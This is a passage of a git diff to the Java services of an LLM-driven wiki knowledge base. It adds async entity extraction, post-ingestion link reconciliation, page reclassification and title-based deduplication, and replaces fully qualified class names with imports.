(totalChunks > 0 && !"cancelled".equals(finalStatus) + && isEntityExtractionEnabled(kb)) { + final Long fKbId = kb.getId(); + final Long fRawId = rawId; + WIKI_EXECUTOR.submit(() -> { + try { + int count = entityExtractionService.extractForRaw(fKbId, fRawId); + if (count > 0) { + log.info("[Wiki] Async entity extraction completed: kbId={}, rawId={}, entities={}", + fKbId, fRawId, count); + } + } catch (Exception ex) { + log.warn("[Wiki] Async entity extraction failed for kbId={}: {}", fKbId, ex.getMessage()); + } + }); + } + } catch (Exception e) { // If the user requested cancellation while this run was in flight, // surface the abort as 'cancelled' rather than 'failed' even when @@ -503,8 +575,8 @@ public class WikiProcessingService { if (wikiJobService != null && jobId != null) { try { wikiJobService.transition(jobId, cancelled - ? vip.mate.wiki.job.WikiJobStage.CANCELLED - : vip.mate.wiki.job.WikiJobStage.FAILED); + ? WikiJobStage.CANCELLED + : WikiJobStage.FAILED); } catch (Exception ignored) {} } // Broadcast: cancelled rows reuse the COMPLETED event with status="cancelled" @@ -512,16 +584,51 @@ public class WikiProcessingService { // go through RAW_FAILED (which the UI surfaces as a red banner). if (cancelled) { progressBus.broadcast(kb.getId(), WikiProgressBus.EVENT_RAW_COMPLETED, - java.util.Map.of("rawId", rawId, "status", "cancelled")); + Map.of("rawId", rawId, "status", "cancelled")); } else { progressBus.broadcast(kb.getId(), WikiProgressBus.EVENT_RAW_FAILED, - java.util.Map.of("rawId", rawId, "error", e.getMessage() == null ? "unknown" : e.getMessage())); + Map.of("rawId", rawId, "error", e.getMessage() == null ? "unknown" : e.getMessage())); } } finally { // RFC-012 M2 v2 UI v2:写入最终进度并清理共享计数器 ProgressCounter pc = progressCounters.remove(rawId); if (pc != null) { rawService.updateProgress(rawId, "done", pc.done.get(), pc.total.get()); + // Once every material in the KB has settled, reconcile links and + // recompute broken_links. Gating on "no unsettled raws" avoids + // two hazards of doing this per-material mid-batch: (1) demoting a + // [[concept]] link before a later material creates that page, and + // (2) recording a link to a later-created page as broken. The last + // material to finish runs both; earlier completions skip. Both + // steps are idempotent, so a rare concurrent double-run is benign. + boolean kbSettled; + try { + kbSettled = rawService.listByKbId(kb.getId()).stream() + .noneMatch(r -> "pending".equals(r.getProcessingStatus()) + || "processing".equals(r.getProcessingStatus())); + } catch (RuntimeException e) { + kbSettled = true; // best-effort: prefer reconciling over skipping + } + if (kbSettled) { + try { + // Redirect alias-covered links to their covering page and + // demote the genuinely uncovered ones to plain text before + // the scan, so freshly imported content doesn't surface + // dangling links to concepts that were merged away. + pageService.reconcileKbLinks(kb.getId()); + } catch (RuntimeException reconErr) { + log.warn("[Wiki] post-ingestion link reconciliation failed for kbId={}: {}", + kb.getId(), reconErr.toString()); + } + if (lintJobService != null) { + try { + lintJobService.startOrGetRunning(kb.getId()); + } catch (RuntimeException scanErr) { + log.warn("[Wiki] post-ingestion broken-link scan trigger failed for kbId={}: {}", + kb.getId(), scanErr.toString()); + } + } + } } } } @@ -559,6 +666,119 @@ public class WikiProcessingService { return pending.size(); } + /** + * Re-classify every non-system page in a KB against its current pageType + * profile, without touching page content. Used after a profile edit so + * existing pages migrate into newly-added types instead of staying frozen + * on whatever type the original ingest assigned. Per page this runs one + * lightweight classify-only LLM call (title + summary in, a single + * page_type out), normalises the answer through the profile, and writes + * pageType + knowledge layer via a partial update. + * + *

    Runs asynchronously on {@link #WIKI_EXECUTOR}; returns the number of + * pages queued. Progress + completion are broadcast on {@link WikiProgressBus} + * so the UI can surface it the same way it does ingest progress. + * + * @param kbId target KB + * @param modelId optional explicit model; {@code null} uses the KB's routed + * CREATE_PAGE model (falling back to the system default) + * @return number of pages queued for reclassification + */ + public int reclassifyKB(Long kbId, Long modelId) { + if (kbId == null) { + throw new IllegalArgumentException("kbId is required"); + } + if (pageTypeProfileService == null) { + throw new IllegalStateException("pageType profile service unavailable"); + } + List pages = pageService.listByKbId(kbId).stream() + .filter(p -> !"system".equalsIgnoreCase(String.valueOf(p.getPageType()))) + .toList(); + if (pages.isEmpty()) { + return 0; + } + + // Reject a concurrent re-trigger on the same KB: two parallel passes would + // double the LLM spend and race each other's updatePageType writes. + if (!reclassifyInFlight.add(kbId)) { + throw new IllegalStateException("A reclassification is already running for this knowledge base"); + } + + final ChatModel chatModel; + final String systemPrompt; + final String userTemplate; + try { + // Resolve the classifying model once up front. An explicit modelId wins; + // otherwise route as a CREATE_PAGE step, falling back to the default. + if (modelId != null && modelRoutingService != null) { + chatModel = modelRoutingService.buildChatModel(modelId); + } else { + chatModel = resolveChatModel(kbId, WikiJobStep.CREATE_PAGE).chatModel; + } + systemPrompt = PromptLoader.loadPrompt("wiki/classify-page-system") + .replace("{allowed_page_types}", pageTypeProfileService.describeForPrompt(kbId)); + userTemplate = PromptLoader.loadPrompt("wiki/classify-page-user"); + } catch (RuntimeException e) { + // Setup failed before any async work was queued — release the guard. + reclassifyInFlight.remove(kbId); + throw e; + } + final int total = pages.size(); + + WIKI_EXECUTOR.submit(() -> { + int done = 0; + int changed = 0; + int failed = 0; + try { + for (WikiPageEntity page : pages) { + done++; + try { + String summary = page.getSummary() == null ? "" : page.getSummary(); + String userPrompt = userTemplate + .replace("{title}", page.getTitle() == null ? "" : page.getTitle()) + .replace("{summary}", summary); + ChatResponse resp = chatModel.call(new Prompt(List.of( + new SystemMessage(systemPrompt), new UserMessage(userPrompt)))); + String text = (resp == null || resp.getResult() == null + || resp.getResult().getOutput() == null) + ? null : resp.getResult().getOutput().getText(); + String proposed = null; + JsonNode json = parseJsonResponse(text); + if (json != null) { + proposed = json.path("page_type").asText(""); + } + // Normalise through the profile: an unknown / blank answer + // downgrades to the profile fallback, never null. + String newType = pageTypeProfileService.normalizePageType(kbId, proposed); + if (newType != null && !newType.isBlank() + && !newType.equalsIgnoreCase(String.valueOf(page.getPageType()))) { + String layer = pageTypeProfileService.resolveLayer(kbId, newType); + pageService.updatePageType(page.getId(), newType, layer); + changed++; + } + } catch (Exception e) { + failed++; + log.warn("[Wiki] reclassify failed pageId={} kbId={}: {}", + page.getId(), kbId, e.getMessage()); + } finally { + progressBus.broadcast(kbId, WikiProgressBus.EVENT_CHUNK_DONE, + Map.of("kind", "reclassify", "done", done, "total", total)); + } + } + log.info("[Wiki] reclassifyKB done kbId={} pages={} changed={} failed={}", + kbId, total, changed, failed); + progressBus.broadcast(kbId, WikiProgressBus.EVENT_RAW_COMPLETED, + Map.of("kind", "reclassify", "done", total, "total", total, + "changed", changed, "failed", failed)); + } finally { + reclassifyInFlight.remove(kbId); + } + }); + + log.info("[Wiki] reclassifyKB queued {} page(s) for kbId={} (modelId={})", total, kbId, modelId); + return total; + } + /** * 处理知识库中所有待处理的原始材料 *

    @@ -778,7 +998,7 @@ public class WikiProcessingService { )); if (isAborted(raw.getId(), "single-chunk legacy")) return 0; String llmResponse = callLlmWithResilientRetry(prompt, "chunk of raw=" + raw.getId(), - kb.getId(), vip.mate.wiki.job.WikiJobStep.CREATE_PAGE); + kb.getId(), WikiJobStep.CREATE_PAGE); return applyLlmResponse(kb.getId(), raw.getId(), llmResponse); } @@ -832,9 +1052,9 @@ public class WikiProcessingService { // LLM produces strict RouteResult JSON. KB config wins; falls back to global // mate.wiki.use-structured-route default when the KB hasn't expressed a preference. boolean useStructured = resolveStructuredRouteFlag(kb); - org.springframework.ai.converter.BeanOutputConverter routeConverter = + BeanOutputConverter routeConverter = useStructured - ? new org.springframework.ai.converter.BeanOutputConverter<>(vip.mate.wiki.dto.RouteResult.class) + ? new BeanOutputConverter<>(RouteResult.class) : null; if (routeConverter != null) { routeUser = routeUser + "\n\n" + routeConverter.getFormat(); @@ -846,7 +1066,7 @@ public class WikiProcessingService { )); if (isAborted(rawId, "route phase")) return 0; String routeResponse = callLlmWithResilientRetry(routePrompt, "route chunk of raw=" + rawId, - kbId, vip.mate.wiki.job.WikiJobStep.ROUTE); + kbId, WikiJobStep.ROUTE); // RFC-012 follow-up #3:phase B 现在并行执行,计数必须是 atomic AtomicInteger created = new AtomicInteger(0); @@ -859,12 +1079,12 @@ public class WikiProcessingService { boolean structuredOk = false; if (routeConverter != null) { try { - vip.mate.wiki.dto.RouteResult bound = routeConverter.convert(routeResponse); + RouteResult bound = routeConverter.convert(routeResponse); if (bound != null) { - for (vip.mate.wiki.dto.RoutedPageMeta meta : bound.create()) { + for (RoutedPageMeta meta : bound.create()) { if (meta == null || meta.slug() == null || meta.slug().isBlank() || meta.title() == null || meta.title().isBlank()) continue; - com.fasterxml.jackson.databind.node.ObjectNode node = objectMapper.createObjectNode(); + ObjectNode node = objectMapper.createObjectNode(); node.put("slug", meta.slug()); node.put("title", meta.title()); if (meta.summary() != null) node.put("summary", meta.summary()); @@ -907,7 +1127,7 @@ public class WikiProcessingService { )); String retryResponse = callLlmWithResilientRetry(retryPrompt, "route chunk RETRY of raw=" + rawId, - kbId, vip.mate.wiki.job.WikiJobStep.ROUTE); + kbId, WikiJobStep.ROUTE); routeJson = parseJsonResponse(retryResponse); if (routeJson == null) { log.warn("[Wiki] Route phase: failed to parse JSON for kbId={}, rawId={}, responseLen={}, first200={}", @@ -940,7 +1160,7 @@ public class WikiProcessingService { // so no content is silently dropped (mirrors llm_wiki source-summary guarantee). if (totalPlanned == 0 && textContent.length() >= properties.getChunkFallbackMinChars()) { String overviewSlug = WikiPageService.toSlug(rawTitle) + "-overview"; - com.fasterxml.jackson.databind.node.ObjectNode fallbackMeta = + ObjectNode fallbackMeta = objectMapper.createObjectNode(); fallbackMeta.put("slug", overviewSlug); fallbackMeta.put("title", rawTitle + " 概述"); @@ -961,7 +1181,7 @@ public class WikiProcessingService { log.info("[Wiki] Progress: switching to phase-b for raw={}", rawId); // RFC-012 M3:route 完成、phase-b 启动 → 通知前端确定进度(可显示 0/N) progressBus.broadcast(kbId, WikiProgressBus.EVENT_ROUTE_DONE, - java.util.Map.of( + Map.of( "rawId", rawId, "phase", "phase-b", "done", pc.done.get(), @@ -1023,7 +1243,7 @@ public class WikiProcessingService { if (!ok) pc.failed.incrementAndGet(); rawService.updateProgress(rawId, "phase-b", d, pc.total.get()); progressBus.broadcast(kbId, WikiProgressBus.EVENT_CHUNK_DONE, - java.util.Map.of( + Map.of( "rawId", rawId, "kind", "merge", "ok", ok, @@ -1116,7 +1336,7 @@ public class WikiProcessingService { String batchResponse = callLlmWithResilientRetry(batchPrompt, "batch-create " + subBatch.size() + " pages of raw=" + rawId + " subBatch=" + (bStart / batchSize + 1), - kbId, vip.mate.wiki.job.WikiJobStep.CREATE_PAGE); + kbId, WikiJobStep.CREATE_PAGE); List parsedPages = batchParser.parse(batchResponse); @@ -1156,7 +1376,7 @@ public class WikiProcessingService { pc.failed.incrementAndGet(); rawService.updateProgress(rawId, "phase-b", d, pc.total.get()); progressBus.broadcast(kbId, WikiProgressBus.EVENT_CHUNK_DONE, - java.util.Map.of("rawId", rawId, "kind", "create", + Map.of("rawId", rawId, "kind", "create", "ok", false, "done", d, "total", pc.total.get())); } continue; @@ -1175,6 +1395,17 @@ public class WikiProcessingService { } JsonNode metadataNode = pageJson.path("metadata"); JsonNode dependsOnNode = pageJson.path("depends_on"); + // Alternate concept names this page covers (composite / 辨析 + // pages list the fine-grained concepts they absorbed) — used by + // the post-ingestion reconciler to redirect [[concept]] links. + List pageAliases = new ArrayList<>(); + JsonNode aliasesNode = pageJson.path("aliases"); + if (aliasesNode.isArray()) { + for (JsonNode a : aliasesNode) { + String s = a.asText("").trim(); + if (!s.isEmpty()) pageAliases.add(s); + } + } if (content.isBlank()) { log.info("[Wiki] BatchCreate: blank content for slug='{}', retrying individually", slug); final String blankSlug = slug; @@ -1194,7 +1425,7 @@ public class WikiProcessingService { pc.failed.incrementAndGet(); rawService.updateProgress(rawId, "phase-b", d, pc.total.get()); progressBus.broadcast(kbId, WikiProgressBus.EVENT_CHUNK_DONE, - java.util.Map.of("rawId", rawId, "kind", "create-retry", + Map.of("rawId", rawId, "kind", "create-retry", "ok", false, "done", d, "total", pc.total.get())); } continue; @@ -1204,6 +1435,13 @@ public class WikiProcessingService { boolean ok = false; try { wasCreated = savePageContent(kb, raw, slug, title, content, pageSummary, pageType, metadataNode, dependsOnNode); + if (!pageAliases.isEmpty()) { + try { + pageService.mergeAliasesByTitle(kbId, title, pageAliases); + } catch (RuntimeException aliasErr) { + log.warn("[Wiki] Failed to persist aliases for title='{}': {}", title, aliasErr.toString()); + } + } if (wasCreated) { created.incrementAndGet(); totalCreated++; @@ -1232,7 +1470,7 @@ public class WikiProcessingService { if (!ok) pc.failed.incrementAndGet(); rawService.updateProgress(rawId, "phase-b", d, pc.total.get()); progressBus.broadcast(kbId, WikiProgressBus.EVENT_CHUNK_DONE, - java.util.Map.of( + Map.of( "rawId", rawId, "kind", "create", "ok", ok, @@ -1243,7 +1481,7 @@ public class WikiProcessingService { // Retry any pages that LLM omitted from the batch response int subBatchNum = bStart / batchSize + 1; - java.util.Set returnedSlugs = new java.util.HashSet<>(); + Set returnedSlugs = new HashSet<>(); for (WikiBatchCreateParser.ParsedPage pp : parsedPages) { returnedSlugs.add(pp.slug()); } @@ -1291,7 +1529,7 @@ public class WikiProcessingService { )); if (isAborted(raw.getId(), "retry-create slug=" + slug)) return null; return callLlmWithResilientRetry(prompt, "retry-create slug=" + slug + " of raw=" + raw.getId(), - kb.getId(), vip.mate.wiki.job.WikiJobStep.CREATE_PAGE); + kb.getId(), WikiJobStep.CREATE_PAGE); } /** @@ -1382,7 +1620,7 @@ public class WikiProcessingService { if (delta < 0) pc.failed.incrementAndGet(); rawService.updateProgress(rawId, "phase-b", d, pc.total.get()); progressBus.broadcast(kbId, WikiProgressBus.EVENT_CHUNK_DONE, - java.util.Map.of("rawId", rawId, "kind", "create-retry", + Map.of("rawId", rawId, "kind", "create-retry", "ok", delta >= 0, "done", d, "total", pc.total.get())); } return delta; @@ -1418,11 +1656,43 @@ public class WikiProcessingService { Long kbId = kb.getId(); Long rawId = raw.getId(); + // Derive the slug deterministically from the title rather than trusting + // the model-supplied one. A model-minted slug romanizes inconsistently + // across runs (the same concept lands under different spellings) and + // forces every [[...]] reference to guess a transliteration that often + // misses — surfacing as broken links on a freshly imported KB. Title is + // already the canonical concept identity used for dedup below, so keying + // the slug off it keeps the stored slug and the human-meaningful title + // from ever drifting apart, and makes [[Title]] references resolve. Falls + // back to the supplied slug only when the title yields no usable slug. + if (title != null && !title.isBlank()) { + String derivedSlug = WikiPageService.toSlug(title); + if (derivedSlug != null && !derivedSlug.isBlank()) { + slug = derivedSlug; + } + } + // Refuse to materialize a page, or merge into an existing one, for a // raw the user just deleted. This prevents pages whose source_raw_ids // point at a tombstoned row. if (isAborted(rawId, "savePageContent slug=" + slug)) return false; + // Fallback 0a: canonical-title match — title is the stable concept identity. + // The LLM-generated slug drifts across runs and romanizations, so the same + // concept otherwise lands as many rows under different slugs (the duplicate + // explosion this guards against). If a page with the same canonical title + // already exists under a different slug, merge into it instead of creating. + WikiPageEntity existingByTitle = pageService.findByCanonicalTitle(kbId, title); + if (existingByTitle != null && !existingByTitle.getSlug().equals(slug)) { + String actualSlug = existingByTitle.getSlug(); + pageService.updatePageByAi(kbId, actualSlug, content, pageSummary, rawId); + pageService.mergeSourceLineage(existingByTitle.getId(), rawId, raw.getTitle()); + afterPagePersisted(existingByTitle.getId(), kbId, pageType, metadataNode, dependsOnNode, true); + log.info("[Wiki] Phase B create slug='{}' title='{}' canonical-title-matches existing '{}', updated", + slug, title, actualSlug); + return false; + } + // Fallback 0: cross-spelling canonical match (DB has same concept under different slug) WikiPageEntity existingByCanonical = pageService.findByCanonicalSlug(kbId, slug); if (existingByCanonical != null && !existingByCanonical.getSlug().equals(slug)) { @@ -1435,8 +1705,34 @@ public class WikiProcessingService { return false; } - // Fallback 0.5: in-flight slug-claim arbitration across parallel chunks + // Fallback 0.25: in-flight title-claim arbitration across parallel pages. + // Closes the race that findByCanonicalTitle cannot: two parallel phase-B + // creates with the same title but different slugs can both miss the DB + // lookup (the row isn't committed yet) and insert two rows — title has no + // DB unique constraint, so DuplicateKey won't catch it. The first to claim + // the canonical title wins; losers redirect their content into the winner. ProgressCounter pcLocal = progressCounters.get(rawId); + String canonicalTitle = WikiPageService.canonicalTitle(title); + if (pcLocal != null && !canonicalTitle.isEmpty()) { + final String claimingSlug = slug; + String winnerSlug = pcLocal.titleClaims.computeIfAbsent(canonicalTitle, k -> claimingSlug); + if (!winnerSlug.equals(slug)) { + WikiPageEntity winner = pageService.getBySlug(kbId, winnerSlug); + if (winner != null) { + pageService.updatePageByAi(kbId, winnerSlug, content, pageSummary, rawId); + pageService.mergeSourceLineage(winner.getId(), rawId, raw.getTitle()); + afterPagePersisted(winner.getId(), kbId, pageType, metadataNode, dependsOnNode, true); + log.info("[Wiki] Phase B create slug='{}' title='{}' lost title-claim race to '{}', updated", + slug, title, winnerSlug); + return false; + } + log.info("[Wiki] Phase B create slug='{}' redirects to in-flight title winner '{}'", + slug, winnerSlug); + slug = winnerSlug; + } + } + + // Fallback 0.5: in-flight slug-claim arbitration across parallel chunks String canonical = WikiPageService.canonicalSlug(slug); if (pcLocal != null && !canonical.isEmpty()) { final String routedSlug = slug; @@ -1475,7 +1771,7 @@ public class WikiProcessingService { log.info("[Wiki] Phase B create page slug='{}' done (created)", slug); citationService.buildCitationsAsync(created.getId(), kbId); return true; - } catch (org.springframework.dao.DuplicateKeyException e) { + } catch (DuplicateKeyException e) { // Fallback 2: concurrent INSERT race — degrade to update pageService.updatePageByAi(kbId, slug, content, pageSummary, rawId); WikiPageEntity raced = pageService.getBySlug(kbId, slug); @@ -1508,13 +1804,13 @@ public class WikiProcessingService { // transactions), so the count is accurate. Idempotent + dedup-guarded // downstream, so firing on update paths is safe. if (eventPublisher != null && pageType != null && !pageType.isBlank()) { - eventPublisher.publishEvent(new vip.mate.wiki.event.WikiPageCreatedEvent(kbId, pageType, pageId)); + eventPublisher.publishEvent(new WikiPageCreatedEvent(kbId, pageType, pageId)); } // When an existing fact page is updated, propagate staleness to the // experience pages depending on it (async, off the ingest thread). if (isUpdate && eventPublisher != null && dependencyService != null && pageTypeProfileService != null && !pageTypeProfileService.isExperience(kbId, pageType)) { - eventPublisher.publishEvent(new vip.mate.wiki.event.WikiFactPageUpdatedEvent( + eventPublisher.publishEvent(new WikiFactPageUpdatedEvent( kbId, pageId, "fact page updated during ingest")); } } @@ -1544,7 +1840,7 @@ public class WikiProcessingService { if (!pageTypeProfileService.isExperience(kbId, pageType)) { return; // only experience pages declare fact dependencies } - java.util.List depIds = new java.util.ArrayList<>(); + List depIds = new ArrayList<>(); for (JsonNode n : dependsOnNode) { String slug = n.asText(""); if (slug.isBlank()) continue; @@ -1554,7 +1850,7 @@ public class WikiProcessingService { } } try { - java.util.List rejected = dependencyService.setDependencies(kbId, pageId, depIds); + List rejected = dependencyService.setDependencies(kbId, pageId, depIds); if (!rejected.isEmpty()) { log.warn("[Wiki] page {} dependency warnings: {}", pageId, rejected); } @@ -1605,11 +1901,11 @@ public class WikiProcessingService { return; } try { - vip.mate.wiki.profile.WikiPageTypeProfile profile = pageTypeProfileService.resolveProfile(kbId); - vip.mate.wiki.profile.WikiPageTypeDef def = profile.get(pageType); + WikiPageTypeProfile profile = pageTypeProfileService.resolveProfile(kbId); + WikiPageTypeDef def = profile.get(pageType); @SuppressWarnings("unchecked") - java.util.Map raw = objectMapper.convertValue(metadataNode, java.util.Map.class); - vip.mate.wiki.profile.WikiMetadataValidator.ValidationResult result = + Map raw = objectMapper.convertValue(metadataNode, Map.class); + WikiMetadataValidator.ValidationResult result = metadataValidator.validate(def, raw, profile.isAllowAdditionalFields(), "create"); String metadataJson = objectMapper.writeValueAsString(result.getCleaned()); String validationJson = result.getWarnings().isEmpty() @@ -1677,7 +1973,7 @@ public class WikiProcessingService { if (isAborted(rawId, "merge slug=" + slug)) return false; String response = callLlmWithResilientRetry(prompt, "merge page slug=" + slug + " of raw=" + rawId, - kbId, vip.mate.wiki.job.WikiJobStep.MERGE_PAGE); + kbId, WikiJobStep.MERGE_PAGE); JsonNode mergeJson = parseJsonResponse(response); if (mergeJson == null) { log.warn("[Wiki] Phase B merge page slug='{}' returned unparseable JSON, skipping", slug); @@ -1805,7 +2101,7 @@ public class WikiProcessingService { try { if (isAborted(raw.getId(), "doc analysis")) return ""; String response = callLlmWithResilientRetry(prompt, "analyze doc raw=" + raw.getId(), - kb.getId(), vip.mate.wiki.job.WikiJobStep.ROUTE); + kb.getId(), WikiJobStep.ROUTE); JsonNode json = parseJsonResponse(response); if (json != null) { // Validate related_pages against the active KB slug set BEFORE @@ -1872,7 +2168,7 @@ public class WikiProcessingService { JsonNode relatedNode = analysisJson.path("related_pages"); if (!relatedNode.isArray() || relatedNode.size() == 0) return analysisJson; - java.util.Set activeSlugs; + Set activeSlugs; try { activeSlugs = linkService.lowercaseSlugSet(pageService.listSummaries(kbId)); } catch (RuntimeException e) { @@ -1886,12 +2182,12 @@ public class WikiProcessingService { return result; } - com.fasterxml.jackson.databind.node.ArrayNode keptArray = objectMapper.createArrayNode(); - java.util.List dropped = new java.util.ArrayList<>(); + ArrayNode keptArray = objectMapper.createArrayNode(); + List dropped = new ArrayList<>(); for (JsonNode el : relatedNode) { String slug = el.asText("").trim(); if (slug.isEmpty()) continue; - if (activeSlugs.contains(slug.toLowerCase(java.util.Locale.ROOT))) { + if (activeSlugs.contains(slug.toLowerCase(Locale.ROOT))) { keptArray.add(slug); } else { dropped.add(slug); @@ -1931,20 +2227,59 @@ public class WikiProcessingService { return "(暂无已有页面)"; } + // The index is injected verbatim into the route / batch-create prompts, so + // it must stay bounded — otherwise it grows linearly with the KB and + // overflows the model context window. Cap by both page count and chars; + // truncation is safe because savePageContent dedups by canonical title at + // persist time, so an omitted page is merged-on-save rather than duplicated. + int maxChars = Math.max(0, properties.getExistingPagesIndexMaxChars()); + int maxPages = Math.max(0, properties.getExistingPagesIndexMaxPages()); + + // List manually-edited pages first so user-curated entries are never the + // ones dropped when a cap is hit. Title order within each group is + // preserved (listSummaries already sorts by title). + List ordered = new ArrayList<>(summaries.size()); + for (WikiPageEntity p : summaries) { + if ("manual".equals(p.getLastUpdatedBy())) ordered.add(p); + } + for (WikiPageEntity p : summaries) { + if (!"manual".equals(p.getLastUpdatedBy())) ordered.add(p); + } + StringBuilder sb = new StringBuilder(); - for (WikiPageEntity page : summaries) { - sb.append("- [[").append(page.getSlug()).append("]]"); + int listed = 0; + for (WikiPageEntity page : ordered) { + StringBuilder row = new StringBuilder(); + row.append("- [[").append(page.getSlug()).append("]]"); if (page.getTitle() != null && !page.getTitle().isBlank()) { - sb.append(" — ").append(page.getTitle()); + row.append(" — ").append(page.getTitle()); } if ("manual".equals(page.getLastUpdatedBy())) { - sb.append(" (手动编辑)"); + row.append(" (手动编辑)"); } String summary = page.getSummary(); if (summary != null && !summary.isBlank()) { - sb.append(" — ").append(summary); + row.append(" — ").append(summary); } - sb.append("\n"); + row.append("\n"); + + // Stop before exceeding either cap, but always emit at least one row. + boolean overPageCap = maxPages > 0 && listed >= maxPages; + boolean overCharCap = maxChars > 0 && listed > 0 && sb.length() + row.length() > maxChars; + if (overPageCap || overCharCap) { + break; + } + sb.append(row); + listed++; + } + + int omitted = ordered.size() - listed; + if (omitted > 0) { + sb.append("- …(已省略 ").append(omitted) + .append(" 个页面:已有页面过多,索引已截断。若材料涉及未列出的概念,按新建处理即可,") + .append("系统会在落库时按标题自动归并到既有页面)\n"); + log.info("[Wiki] existing-pages index truncated for kbId={}: listed={} omitted={} chars={}", + kbId, listed, omitted, sb.length()); } return sb.toString().trim(); } @@ -1970,7 +2305,7 @@ public class WikiProcessingService { * is available. Falls back to the system default on any lookup failure * so a misconfigured KB never blocks ingest. */ - private ChatModel buildChatModelFor(Long kbId, vip.mate.wiki.job.WikiJobStep step) { + private ChatModel buildChatModelFor(Long kbId, WikiJobStep step) { if (modelRoutingService != null && kbId != null && step != null) { try { Long modelId = modelRoutingService.selectModelId(kbId, "heavy_ingest", step); @@ -2008,7 +2343,7 @@ public class WikiProcessingService { * pick the routed chat model; passing {@code null} for either reproduces * the legacy behavior (system default model). */ - private String callLlmWithResilientRetry(Prompt prompt, String ctx, Long kbId, vip.mate.wiki.job.WikiJobStep step) { + private String callLlmWithResilientRetry(Prompt prompt, String ctx, Long kbId, WikiJobStep step) { long backoffMs = 1000; final long maxBackoffMs = 60_000; final int maxAttempts = Math.max(1, properties.getLlmMaxAttempts()); @@ -2147,7 +2482,7 @@ public class WikiProcessingService { /** Pair of modelId + built ChatModel — null modelId means we used the system default. */ private record ResolvedChatModel(Long modelId, ChatModel chatModel) {} - private ResolvedChatModel resolveChatModel(Long kbId, vip.mate.wiki.job.WikiJobStep step) { + private ResolvedChatModel resolveChatModel(Long kbId, WikiJobStep step) { if (modelRoutingService != null && kbId != null && step != null) { try { Long modelId = modelRoutingService.selectModelId(kbId, "heavy_ingest", step); @@ -2179,7 +2514,7 @@ public class WikiProcessingService { * stable, never random. * *

    Skips providers currently in cooldown ({@link - * vip.mate.llm.failover.ProviderHealthTracker}) so a flapping provider + * ProviderHealthTracker}) so a flapping provider * doesn't keep getting tried while we wait for it to recover. */ private ResolvedChatModel pickFallbackChatModel(Long failedModelId) { @@ -2471,8 +2806,8 @@ public class WikiProcessingService { )); if (isAborted(raw.getId(), "repair page=" + page.getSlug())) return; String response = callLlmWithResilientRetry(prompt, "repair page=" + page.getSlug(), - kb.getId(), vip.mate.wiki.job.WikiJobStep.MERGE_PAGE); - com.fasterxml.jackson.databind.JsonNode pageJson = parseJsonResponse(response); + kb.getId(), WikiJobStep.MERGE_PAGE); + JsonNode pageJson = parseJsonResponse(response); if (pageJson == null) return; String content = pageJson.path("content").asText(""); @@ -2486,7 +2821,7 @@ public class WikiProcessingService { private List parseSourceRawIds(String json) { if (json == null || json.isBlank()) return List.of(); try { - return objectMapper.readValue(json, new com.fasterxml.jackson.core.type.TypeReference>() {}); + return objectMapper.readValue(json, new TypeReference>() {}); } catch (Exception e) { return List.of(); } @@ -2556,6 +2891,17 @@ public class WikiProcessingService { return config != null ? config.getIngestMode() : null; } + /** + * Read the {@code entityExtractionEnabled} opt-in from KB config. Defaults + * to {@code false} on any parse error or missing field — extraction is an + * opt-in cost and must never be turned on implicitly. + */ + private boolean isEntityExtractionEnabled(WikiKnowledgeBaseEntity kb) { + if (kb == null || kb.getConfigContent() == null) return false; + WikiKbConfig config = WikiKbConfigParser.parse(objectMapper, kb.getConfigContent()); + return config != null && Boolean.TRUE.equals(config.getEntityExtractionEnabled()); + } + /** * Returns {@code true} when the caller should bail out of an in-flight * processing path because the raw material has been deleted. @@ -2624,7 +2970,7 @@ public class WikiProcessingService { rawService.updateProgress(rawId, "lazy", 0, 0); progressBus.broadcast(kbId, WikiProgressBus.EVENT_RAW_STARTED, - java.util.Map.of("rawId", rawId, "phase", "lazy")); + Map.of("rawId", rawId, "phase", "lazy")); try { String textContent = rawService.getTextContent(raw); @@ -2632,7 +2978,7 @@ public class WikiProcessingService { rawService.updateProcessingStatus(rawId, "failed", "No text content available"); kbService.updateStatus(kbId, "active"); progressBus.broadcast(kbId, WikiProgressBus.EVENT_RAW_FAILED, - java.util.Map.of("rawId", rawId, "error", "No text content available")); + Map.of("rawId", rawId, "error", "No text content available")); return; } @@ -2670,7 +3016,7 @@ public class WikiProcessingService { if (embedded > 0) { log.info("[Wiki] Lazy async embedding completed: kbId={}, embedded={}", fKbId, embedded); } - } catch (vip.mate.wiki.job.WikiEmbeddingProviderFailingException ex) { + } catch (WikiEmbeddingProviderFailingException ex) { log.warn("[Wiki] Lazy async embedding aborted by circuit-breaker for kbId={}: {}", fKbId, ex.getMessage()); } catch (Exception ex) { @@ -2688,7 +3034,7 @@ public class WikiProcessingService { kbService.updateStatus(kbId, "active"); progressBus.broadcast(kbId, WikiProgressBus.EVENT_RAW_COMPLETED, - java.util.Map.of( + Map.of( "rawId", rawId, "status", "completed", "totalPages", 0, @@ -2706,7 +3052,7 @@ public class WikiProcessingService { // RFC-051 PR-2b: refresh overview stats. if (overviewService != null) overviewService.rebuild(kbId); // Tier 2: dirty event drives the LLM-narrated overview section. - eventPublisher.publishEvent(new vip.mate.wiki.event.WikiKbDirtyEvent(this, kbId)); + eventPublisher.publishEvent(new WikiKbDirtyEvent(this, kbId)); log.info("[Wiki] Lazy processing completed for raw={}, kbId={}, chunks={}", rawId, kbId, totalChunks); @@ -2715,7 +3061,7 @@ public class WikiProcessingService { rawService.updateProcessingStatus(rawId, "failed", e.getMessage()); kbService.updateStatus(kbId, "active"); progressBus.broadcast(kbId, WikiProgressBus.EVENT_RAW_FAILED, - java.util.Map.of("rawId", rawId, + Map.of("rawId", rawId, "error", e.getMessage() == null ? "unknown" : e.getMessage())); } } diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiRawMaterialService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiRawMaterialService.java index b9a6d697..e60ad96d 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiRawMaterialService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiRawMaterialService.java @@ -83,28 +83,45 @@ public class WikiRawMaterialService { return rawMapper.selectOne( new LambdaQueryWrapper() .eq(WikiRawMaterialEntity::getKbId, kbId) - .eq(WikiRawMaterialEntity::getSourcePath, sourcePath)); + .eq(WikiRawMaterialEntity::getSourcePath, sourcePath) + .last("LIMIT 1")); } /** - * Import a text file discovered by a directory scan, detecting content - * changes by hash: unchanged content (a raw with the same hash already - * exists) is a no-op, while changed content creates a new raw and triggers - * processing — so a modified file is re-ingested rather than silently - * skipped. The originating path is recorded for diagnostics. + * Import a text file discovered by a directory scan. * - * @return {@code true} when the file was newly ingested (new 